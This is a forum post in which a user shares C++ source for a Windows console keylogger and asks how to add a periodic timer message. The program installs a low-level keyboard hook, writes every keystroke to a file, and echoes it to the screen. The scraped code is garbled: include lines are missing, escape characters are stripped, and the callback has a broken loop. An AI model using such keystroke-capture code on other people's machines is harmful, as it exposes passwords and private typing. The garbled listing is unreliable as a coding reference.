Console App KeyboardHook Saving files.

EDN Admin

Well-known member
Joined
Aug 7, 2010
Messages
12,794
Location
In the Machine
I am trying to understand keyboard hooking and more so. And I am writing a program logging all keyboard input into a file and also displaying on the console screen. And I want to add a certain line of text every x amount of seconds that go by. It was not accurate at all. So I tried to do it so that it will add that line after every x amount of characters have been pressed. Still not very accurate. How can I change this so that say every 5 minutes it will display "Application logging for 5 minutes. Resetting timer" and resets timer back to 0"stdafx.h"

#define FileName "Initial Logging"

using namespace std;

int tTimer = 0;
double start = 0;

time_t theTime = time(0);
FILE *file;

HHOOK hHook;

LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam, LPARAM lParam);

int _tmain(int argc, _TCHAR* argv[])
{
file = fopen(FileName,"a+");
fputs("nnStarted logging: ", file);
fputs(ctime(&theTime),file);
fputs("n", file);
fclose(file);
RegisterHotKey(NULL,0xB1AC7B1A,MOD_ALT,VK_F12);
HMODULE hInstance = GetModuleHandle(NULL);
hHook = SetWindowsHookEx(WH_KEYBOARD_LL,KeyboardProc,hInstance,NULL);
MSG msg;
GetMessage(&msg,NULL,NULL,NULL);

UnhookWindowsHookEx(hHook);
return 0;
}

LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam, LPARAM lParam)
{
file = fopen(FileName,"a+");
while(1)
{
if ((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))
{
KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);

DWORD dwMsg = 1;
dwMsg += hooked.scanCode << 16;
dwMsg += hooked.flags << 24;

char key[16];
GetKeyNameText(dwMsg,key,15);

cout << key;
fputs(key, file);

if(tTimer >= 500)
{
fputs("nnLogged 500 Characters. Log resettingnn",file);
tTimer = 0;
}
tTimer++;
}
return CallNextHookEx(hHook,nCode,wParam,lParam);
}
}

View the full article
 
Back
Top